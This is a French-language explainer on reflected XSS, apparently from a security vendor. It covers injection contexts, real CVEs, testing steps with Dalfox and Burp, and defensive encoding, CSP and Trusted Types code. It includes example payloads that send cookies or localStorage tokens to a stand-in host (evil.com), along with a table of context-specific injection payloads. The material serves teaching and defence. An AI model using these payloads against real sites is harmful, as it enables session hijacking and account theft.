XSS réfléchi (CWE-79, OWASP A03:2021) : entrée attaquant renvoyée sans sanitization — vol de session et phishing via URLs craftées.
TL;DR
AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N) — CVSS 8.2 sur les endpoints privilégiésLe XSS réfléchi — aussi appelé Type-1 ou XSS non-persistant dans la taxonomie OWASP — est une vulnérabilité d'injection (CWE-79, OWASP A03:2021) où le serveur lit une entrée contrôlée par l'attaquant et la renvoie immédiatement dans la réponse HTTP sans sanitization. Le script injecté s'exécute dans le navigateur de la victime sous l'origine de l'application, héritant de ses cookies, tokens de stockage et accès DOM de même origine.
Contrairement au XSS stocké, le payload n'est jamais écrit dans le store de données du serveur. Chaque requête est sa propre attaque : le script n'existe que dans l'URL craftée, et quand le cycle HTTP se termine le payload disparaît. Cette propriété est aussi la principale limitation du XSS réfléchi — l'exploitation nécessite que l'attaquant délivre l'URL à la victime via du phishing, des liens raccourcis, des publicités malveillantes ou des redirections ouvertes sur d'autres domaines.
Les surfaces d'injection les plus fréquentes sont les paramètres d'URL (q, search, redirect, next, error), les champs POST dans les formulaires de connexion et d'inscription, les headers HTTP comme Referer et User-Agent réfléchis dans les pages d'erreur admin, les segments de chemin URL dans les frameworks MVC, et les paramètres de callback JSON dans les API JSONP héritées. Dans les applications single-page modernes, la réflexion via POST représente plus de 40 % des XSS réfléchis car la plupart des scanners automatiques ne testent que les paramètres GET.
L'attaque suit un cycle en trois étapes : crafting, réflexion, exécution.
Le détail critique est le header de réponse Content-Type: text/html. Quand le serveur renvoie l'entrée réfléchie à l'intérieur d'un document HTML, le navigateur la parse comme du balisage. Si le serveur avait retourné Content-Type: application/json ou text/plain, le même payload serait inerte.
GET /search?q=<script>document.location='https://evil.com/steal?c='+document.cookie</script>
Host: example.com
HTTP/1.1 200 OK
Content-Type: text/html
<p>Résultats pour : <script>document.location='https://evil.com/steal?c='+document.cookie</script></p>L'encodage doit correspondre exactement au contexte d'injection où l'entrée utilisateur apparaît dans le HTML. L'encodage en entités HTML (<script>) stoppe l'injection en contexte de corps mais ne fait rien pour une URI javascript: à l'intérieur d'un attribut href. Un contexte d'attribut URL requiert d'abord d'encoder en URL la valeur, puis d'encoder en HTML la chaîne complète de l'attribut — une seule passe d'encodage n'est jamais suffisante pour tous les contextes.
Différents contextes d'injection requièrent des formes de payload différentes. Le même paramètre peut être exploitable ou inerte selon l'endroit où le serveur l'insère dans la réponse HTML.
| Variante | Contexte d'injection | Forme du payload | Condition d'évasion |
|---|---|---|---|
| Corps HTML | <p>Bonjour [entrée]</p> | <script>alert(1)</script> ou <img src=x onerror=alert(1)> | < et > non encodés |
| Attribut à guillemets doubles | <input value="[entrée]"> | " onmouseover="alert(1) | " non encodé dans l'attribut |
| Attribut à guillemets simples | <input value='[entrée]'> | ' onfocus='alert(1) | ' non encodé dans l'attribut |
| Chaîne JavaScript | var x = "[entrée]"; | ";alert(1);// | " non encodé dans la chaîne JS |
| URL / attribut href | <a href="[entrée]"> | javascript:fetch('https://evil.com/steal?t='+localStorage.token) | Pas de validation de schéma |
| Segment de chemin | /profile/[entrée]/settings | [route MVC] → <script> via décodage URL | Dépend du framework |
| Réflexion de header HTTP | User-Agent dans page d'erreur admin | <script>alert(1)</script> | Le serveur lit la valeur brute du header |
| Réflexion du Referer | Referer dans tableau de bord analytique | Payload corps HTML standard | L'attaquant contrôle le Referer via navigation |
Chaque variante peut être testée avec un canary de contexte (xsstest"'<>) soumis au point de réflexion. La sortie du canary révèle quels caractères survivent et dans quel contexte la valeur atterrit.
L'injection en contexte de chaîne JavaScript est la forme la plus dangereuse de XSS réfléchi. Un seul " ou \ non encodé sort d'un littéral de chaîne, permettant une exécution de code arbitraire sans balise HTML requise. De nombreux WAF qui bloquent les balises <script> manquent entièrement ce vecteur.
CVE-2024-0010 — Palo Alto Networks PAN-OS GlobalProtect (CVSS 8.2 HIGH)
La page de connexion du portail GlobalProtect réfléchissait un paramètre d'URL non sanitisé dans le HTML du portail. Un attaquant qui envoyait une URL GlobalProtect craftée à un employé d'entreprise pouvait voler le cookie de session VPN authentifié de cet employé au clic et pivoter directement dans le réseau d'entreprise. CVSS 8.2 (AV:N/AC:L/PR:N/UI:R/S:C/C:H/I:L/A:N) — supérieur à la ligne de base théorique 6.1 car l'endpoint est pré-authentification et la session impactée donne accès au VPN. Publié en janvier 2024. Advisory : security.paloaltonetworks.com/CVE-2024-0010.
HackerOne #3045455 — Autodesk XSS réfléchi via SVG
XSS réfléchi via un fichier SVG servi directement avec Content-Type: image/svg+xml depuis une URL d'upload contrôlée par l'utilisateur sur un sous-domaine Autodesk. L'attaquant construisait une URL pointant vers un SVG précédemment uploadé contenant un gestionnaire onload. Visiter l'URL amenait le navigateur à charger le SVG comme document actif et à exécuter le gestionnaire sous l'origine d'Autodesk. Ce schéma — réflexion via endpoint de file-serve plutôt que paramètre de requête — échappe à la plupart des scanners de fuzzing de paramètres. Rapport : hackerone.com/reports/3045455.
HackerOne #3238607 — XSS réfléchi dans un endpoint SSL VPN (2025) XSS réfléchi dans une page d'authentification d'un VPN SSL commercial : un paramètre URL était répercuté verbatim dans le message d'erreur du formulaire de connexion sans encodage. L'endpoint est pré-authentification, ce qui signifie qu'aucun cookie de session n'était nécessaire pour déclencher le payload chez tout utilisateur visitant le lien crafté. Le XSS réfléchi post-authentification sur les portails VPN est un finding critique car il peut être utilisé pour hameçonner des codes MFA ou voler des sessions VPN actives.
CVE-2024-37383 — Roundcube Webmail SVG Animate (CVSS 6.1, CISA KEV)
Bien qu'il s'agisse principalement d'un XSS stocké via le corps d'email HTML, la délivrance de l'attaque reposait sur la même classe d'ingénierie sociale que le XSS réfléchi : la victime ouvre un email malveillant et Roundcube réfléchit la valeur de l'attribut <animate> non sanitisée depuis le DOM de l'email dans la page sans sanitization, exécutant JavaScript sous l'origine du webmail. Ajouté au catalogue des Vulnérabilités Exploitées Connues (KEV) de la CISA le 24 octobre 2024, avec exploitation active contre des organisations gouvernementales dans les pays CEI.
Énumérer les points de réflexion : Tout paramètre URL, champ POST, propriété JSON et header HTTP personnalisé qui apparaît n'importe où dans la réponse est un candidat. Utilisez Intruder de Burp Suite ou le scan passif pour identifier automatiquement tous les paramètres réfléchis.
Soumettre le canary : Envoyez xsstest"'<> comme valeur de paramètre. Examinez la réponse brute (pas la page rendue) pour le canary.
Classifier le contexte : Déterminez où le canary apparaît dans le HTML :
| Sortie du canary dans la réponse | Contexte | Test suivant |
|---|---|---|
<xsstest> — chevrons encodés | Encodage HTML actif | Essayer " onmouseover= (injection d'attribut) |
<>" non modifié | Pas d'encodage | <script> direct ou <img onerror=> |
À l'intérieur de var x = "xsstest" | Contexte chaîne JS | ";alert(1);// |
À l'intérieur de href="xsstest" | Contexte attribut URL | javascript:alert(document.domain) |
À l'intérieur de style="color:xsstest" | Contexte CSS | expression(alert(1)) ou évasion close-tag |
Crafter un payload adapté au contexte : Utiliser le payload minimal qui atteint l'exécution dans le contexte identifié. Tester dans une session navigateur isolée ; confirmer que l'alerte ou le callback se déclenche.
Vérifier la réflexion POST : Rejouer manuellement POST /login avec le canary dans chaque champ du corps. De nombreux scanners ne testent que les paramètres GET.
# Dalfox — scan réfléchi avec callback OOB blind XSS
dalfox url "https://target.com/search?q=FUZZ" \
--blind https://votre-endpoint-oob.com/xss \
--waf-evasion \
--output findings.json
# Dalfox — scan depuis un log proxy Burp
dalfox file burp_export.xml --format burpBreachVex détecte le XSS réfléchi via un écho canary en deux passes + injection de payload classifiée par contexte (corps HTML / attribut / chaînes JS). Le scan soumet un canary sur un large éventail de paramètres courants, classifie le contexte de réflexion via un pré-filtrage d'encodage, et lance une injection de payload confirmée en navigateur uniquement quand le contexte est exploitable — réduisant nettement les faux positifs et la surcharge de confirmation.
L'encodage doit correspondre au contexte d'injection exact où l'entrée utilisateur apparaît dans le HTML. Utiliser l'encodage en entités HTML pour un contexte d'attribut URL, ou l'encodage URL pour un contexte de chaîne JavaScript, n'offre aucune protection.
from markupsafe import escape
from urllib.parse import quote
import json
# Contexte corps HTML / attribut HTML
# Flask Jinja2 : {{ user_input | e }} — appliqué automatiquement à toutes les {{ expressions }}
safe_html = escape(user_input) # & " ' < > → entités HTML
# Contexte chaîne JavaScript (valeur placée dans des balises <script>)
safe_js = json.dumps(user_input) # encadre entre guillemets, échappe " \ retours ligne
# Contexte paramètre URL (href, src, action)
safe_url = quote(user_input, safe='') # encode en pourcentage tous les chars non sûrs
# En deux étapes : valeur URL dans un attribut HTML
# Étape 1 : encoder en URL la valeur du paramètre
# Étape 2 : encoder en HTML la chaîne complète de l'attribut
href_attr = f'href="{escape(f"/path?q={safe_url}")}"'// Node.js / Express — utiliser un encodeur dédié, pas un remplacement manuel de chaîne
const { encode } = require('html-entities');
// Contexte corps HTML
res.send(`<p>${encode(req.query.q)}</p>`);
// Contexte chaîne JavaScript — JSON.stringify encadre et échappe
const safeForScript = JSON.stringify(req.query.q);
res.send(`<script>var query = ${safeForScript};</script>`);Les frameworks modernes encodent automatiquement les expressions par défaut. Le risque vient du contournement délibéré de l'encodage par défaut.
// React — sûr par défaut
const Search = ({ query }) => <p>Résultats pour : {query}</p>;
// JSX encode automatiquement : query = '<script>' → rendu en texte, pas en balisage
// DANGEREUX — désactive complètement l'encodage :
<div dangerouslySetInnerHTML={{ __html: query }} />
// N'utiliser qu'avec DOMPurify ≥ 3.4.0 si du HTML brut est requis :
import DOMPurify from 'dompurify';
<div dangerouslySetInnerHTML={{ __html: DOMPurify.sanitize(query) }} />dangerouslySetInnerHTML dans React, v-html dans Vue, et [innerHTML] avec bypassSecurityTrustHtml() dans Angular désactivent tous l'encodage automatique du framework. Si une entrée réfléchie atteint l'une de ces APIs sans sanitization préalable par DOMPurify ≥ 3.4.0, le résultat est un XSS réfléchi direct.
Une CSP stricte basée sur des nonces bloque l'exécution du XSS réfléchi même quand l'encodage échoue ou est contourné. Le nonce doit être cryptographiquement aléatoire et unique par réponse.
Content-Security-Policy: default-src 'self';
script-src 'nonce-ALÉATOIRE_PAR_REQUÊTE' 'strict-dynamic';
object-src 'none';
base-uri 'none';
require-trusted-types-for 'script';'strict-dynamic' propage la confiance du nonce à tous les scripts chargés dynamiquement par des scripts faisant confiance au nonce. Cela élimine le besoin d'ajouter des domaines CDN en liste blanche — une lacune critique, car les endpoints JSONP hébergés sur CDN peuvent contourner entièrement les listes d'autorisation basées sur les hôtes. Éviter 'unsafe-inline' et 'unsafe-eval' dans toute CSP de production.
Quand une entrée réfléchie est traitée par JavaScript côté client et insérée dans le DOM, les Trusted Types empêchent le sink d'accepter des chaînes brutes :
// Activer via CSP : require-trusted-types-for 'script'
const policy = trustedTypes.createPolicy('default', {
createHTML: (input) => DOMPurify.sanitize(input),
});
// Sûr : seuls les objets TrustedHTML sont acceptés
element.innerHTML = policy.createHTML(reflectedInput);
// Lève TypeError — empêche l'assignation accidentelle de chaîne brute :
element.innerHTML = reflectedInput;La validation des entrées réduit la surface d'attaque mais ne prévient pas le XSS à elle seule. Règles spécifiques en liste d'autorisation :
javascript: et data: dans les paramètres utilisés dans les attributs href ou srcQu'est-ce que le XSS réfléchi et en quoi diffère-t-il du XSS stocké ? Le XSS réfléchi (Type-1, non-persistant) s'exécute immédiatement quand une victime visite une URL craftée par l'attaquant — le payload n'est jamais stocké côté serveur. Le XSS stocké persiste en base de données et se déclenche pour chaque visiteur ultérieur. Le XSS réfléchi nécessite de l'ingénierie sociale ; le XSS stocké, non.
Quel est le score CVSS du XSS réfléchi ?
Le XSS réfléchi obtient CVSS 6.1 Moyen (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N). Sur des endpoints pré-authentification à haute valeur comme les portails VPN (CVE-2024-0010 : CVSS 8.2), le score augmente car la session impactée donne accès au réseau.
Le XSS réfléchi contourne-t-il la protection SameSite des cookies ? Oui. SameSite empêche les requêtes cross-origin qui changent l'état (CSRF). Quand la victime navigue directement vers l'URL de l'attaquant, le navigateur effectue une navigation same-site, SameSite autorise le cookie, et le script réfléchi s'exécute avec un accès session complet.
Le XSS réfléchi peut-il se déclencher depuis une requête POST ? Oui. Le XSS réfléchi via POST nécessite un gadget d'auto-soumission de formulaire hébergé par l'attaquant. Le scanner actif de Burp Suite teste la réflexion POST ; de nombreux scanners open-source ne testent que les paramètres GET.
Comment CVE-2024-0010 illustre-t-il le XSS réfléchi ? Le portail GlobalProtect réfléchissait un paramètre URL non sanitisé dans le HTML de la page de connexion. Un attaquant pouvait envoyer une URL VPN craftée à un employé d'entreprise, voler son cookie de session VPN au clic et pivoter dans le réseau interne. CVSS 8.2.
Quelle est la différence entre XSS réfléchi et XSS basé sur le DOM ? Le XSS réfléchi requiert que le serveur renvoie le payload dans sa réponse. Le XSS basé sur le DOM se produit entièrement côté client : la réponse du serveur est propre, mais les scripts du navigateur lisent une entrée contrôlée par l'attaquant et l'écrivent dans un sink dangereux sans sanitization.
L'encodage de sortie en contexte corps HTML protège-t-il la réflexion d'attribut URL ?
Non. Chaque contexte requiert sa propre méthode d'encodage : l'encodage en entités HTML stoppe l'injection en contexte de corps mais ne neutralise pas les URI javascript: dans les attributs href.
Comment BreachVex détecte-t-il le XSS réfléchi ? BreachVex détecte le XSS réfléchi via un écho canary en deux passes + injection de payload classifiée par contexte (corps HTML / attribut / chaînes JS). L'exécution est confirmée dans un vrai navigateur.
Quelle est la défense la plus fiable contre le XSS réfléchi ?
L'encodage de sortie au contexte d'injection exact est la défense principale. Une CSP basée sur des nonces (script-src 'nonce-ALÉATOIRE' 'strict-dynamic') constitue la deuxième couche. Les deux contrôles sont nécessaires pour la défense en profondeur.
Quels paramètres sont le plus souvent exploités ?
Les paramètres de recherche (q, search, query), les paramètres de redirection (next, return, redirect, url) et les champs POST dans les formulaires de connexion/inscription représentent la majorité des XSS réfléchis trouvés.
Le XSS réfléchi (Type-1, non-persistant) s'exécute immédiatement lorsqu'une victime visite une URL craftée par l'attaquant — le payload n'est jamais stocké côté serveur. Le XSS stocké persiste en base de données et se déclenche pour chaque visiteur ultérieur. Le XSS réfléchi nécessite de l'ingénierie sociale (amener la victime à cliquer sur un lien) ; le XSS stocké, non.
Le XSS réfléchi obtient CVSS 6.1 Moyen (CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N). Le flag User Interaction:Required reflète que la victime doit cliquer sur le lien crafté. Sur des endpoints à haute valeur (portails admin, redirections OAuth), l'impact effectif est plus élevé.
Oui. SameSite empêche les requêtes cross-origin qui changent l'état (CSRF). Il ne prévient pas le XSS chargé via navigation directe : quand la victime clique sur le lien de l'attaquant, le navigateur navigue vers cette origine, SameSite autorise le cookie de session, et le script réfléchi s'exécute avec un accès session complet.
Les paramètres de recherche (q, search, query), les paramètres de redirection (next, return, redirect, url, callback), les messages d'erreur et les champs POST dans les formulaires de connexion et d'inscription représentent la majorité des XSS réfléchis. Les headers HTTP comme Referer et User-Agent réfléchis dans des tableaux de bord admin sont également courants.
Oui. Le XSS réfléchi via POST nécessite que le navigateur de la victime soumette automatiquement le formulaire crafté, typiquement via un gadget CSRF sur le même domaine ou une page HTML auto-soumise servie par l'attaquant. Le scanner actif de Burp Suite couvre la réflexion POST ; de nombreux outils automatiques ne l'explorent pas.
CVE-2024-0010 (CVSS 8.2 HIGH) affectait la page de connexion du portail GlobalProtect. Un paramètre d'URL était réfléchi non sanitisé dans le HTML du portail. Un attaquant pouvant envoyer une URL GlobalProtect craftée à un employé pouvait voler le cookie de session VPN de cet employé au clic et pivoter directement dans le réseau d'entreprise.
Le XSS réfléchi requiert que le serveur renvoie le payload dans sa réponse HTTP — la vulnérabilité existe côté serveur. Le XSS basé sur le DOM se produit entièrement côté client : la réponse du serveur est propre, mais les scripts du navigateur lisent une entrée contrôlée par l'attaquant (hash URL, postMessage) et l'écrivent dans un sink dangereux sans sanitization.
Non. L'encodage de sortie est spécifique au contexte. L'encodage corps HTML (conversion de < et > en < et >) ne neutralise pas les URI javascript: dans des attributs href. Un contexte d'attribut URL requiert d'abord d'encoder en URL la valeur du paramètre, puis d'encoder en HTML la chaîne complète de l'attribut.
BreachVex détecte le XSS réfléchi via un écho canary en deux passes + injection de payload classifiée par contexte : d'abord une chaîne canary (xsstest"'<>) est soumise sur un large éventail de noms de paramètres courants, le contexte de réflexion est classifié (corps HTML / attribut / chaîne JS), puis un payload adapté au contexte est injecté. L'exécution est ensuite confirmée dans un vrai navigateur.
L'encodage de sortie au contexte d'injection exact est la défense principale — il empêche le navigateur d'interpréter l'entrée réfléchie comme du code. Une CSP basée sur des nonces (script-src 'nonce-ALÉATOIRE' 'strict-dynamic') constitue une deuxième couche qui bloque l'exécution même quand l'encodage échoue. Les deux contrôles sont nécessaires pour la défense en profondeur.